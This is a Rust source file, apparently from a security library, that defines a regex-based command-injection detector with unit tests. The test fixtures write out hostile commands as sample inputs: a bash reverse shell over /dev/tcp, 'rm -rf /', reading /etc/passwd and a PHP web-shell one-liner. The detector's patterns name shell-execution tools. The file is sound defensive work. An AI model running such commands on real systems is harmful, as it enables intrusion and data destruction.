Skip to main content

security_rust/injection/
command_injection.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
8    vec![
9        Regex::new(r"`[^`]+`").unwrap(),
10        Regex::new(r"\$\([^)]+\)").unwrap(),
11        Regex::new(r"\|[\s]*\w+").unwrap(),
12        Regex::new(r"\|\|[\s]*\w+").unwrap(),
13        Regex::new(r"&&\s*\w+").unwrap(),
14        Regex::new(r"/dev/tcp[/\w]*").unwrap(),
15        Regex::new(r"(?i)passthru\s*\(").unwrap(),
16        Regex::new(r"(?i)shell_exec\s*\(").unwrap(),
17        Regex::new(r"(?i)system\s*\(").unwrap(),
18        Regex::new(r"(?i)exec\s*\(").unwrap(),
19        Regex::new(r"(?i)popen\s*\(").unwrap(),
20        Regex::new(r"(?i)pcntl_exec\s*\(").unwrap(),
21        Regex::new(r"(?i)cmd\.exe").unwrap(),
22        Regex::new(r"(?i)powershell").unwrap(),
23        Regex::new(r">/dev/null").unwrap(),
24    ]
25});
26
27pub struct CommandInjectionDetector;
28
29impl Detector for CommandInjectionDetector {
30    fn name(&self) -> &'static str {
31        "command_injection"
32    }
33
34    fn detect(&self, input: &str) -> Option<DetectionResult> {
35        regex_detect(
36            &PATTERNS,
37            self.name(),
38            AttackCategory::Injection,
39            Severity::Critical,
40            "Command injection detected",
41            input,
42        )
43    }
44}
45
46#[cfg(test)]
47mod tests {
48    use super::*;
49
50    fn det() -> CommandInjectionDetector {
51        CommandInjectionDetector
52    }
53
54    fn assert_hit(input: &str) {
55        crate::test_helpers::assert_detected(
56            &det(),
57            input,
58            AttackCategory::Injection,
59            Severity::Critical,
60        );
61    }
62
63    #[test]
64    fn name_is_command_injection() {
65        assert_eq!(det().name(), "command_injection");
66    }
67
68    #[test]
69    fn detects_common_payloads() {
70        for input in [
71            "`cat /etc/passwd`",
72            "$(rm -rf /)",
73            "ls | grep passwd",
74            "cd /tmp && rm -rf *",
75            "bash -i >& /dev/tcp/10.0.0.1/4444",
76            "php -r 'system($_GET[\"cmd\"]);'",
77            "cmd.exe /c dir",
78            "powershell -Command Get-Process",
79        ] {
80            assert_hit(input);
81        }
82    }
83
84    #[test]
85    fn benign_inputs_not_detected() {
86        for input in [
87            "Hello, this is a normal text input. Nothing suspicious here.",
88            "The system is running normally",
89            "I executed the plan successfully",
90            "Pipes are used to join commands in unix",
91            "Please run the update script",
92        ] {
93            assert!(det().detect(input).is_none(), "false positive: {input}");
94        }
95    }
96
97    #[test]
98    fn edge_cases() {
99        assert!(det().detect("").is_none());
100        assert!(det().detect(" \t\n ").is_none());
101        assert!(det().detect("你好世界 こんにちは").is_none());
102        // near misses: keyword present but not the payload form
103        assert!(det().detect("system id").is_none());
104        assert!(det().detect("rm -rf /").is_none());
105        assert!(det().detect("cmd /c dir").is_none());
106    }
107
108    #[test]
109    fn obfuscated_variants_detected() {
110        for input in [
111            "SYSTEM('id')",
112            "Shell_Exec('id')",
113            "PowerShell -Command Get-Process",
114            "PASSTHRU('id')",
115        ] {
116            assert_hit(input);
117        }
118    }
119}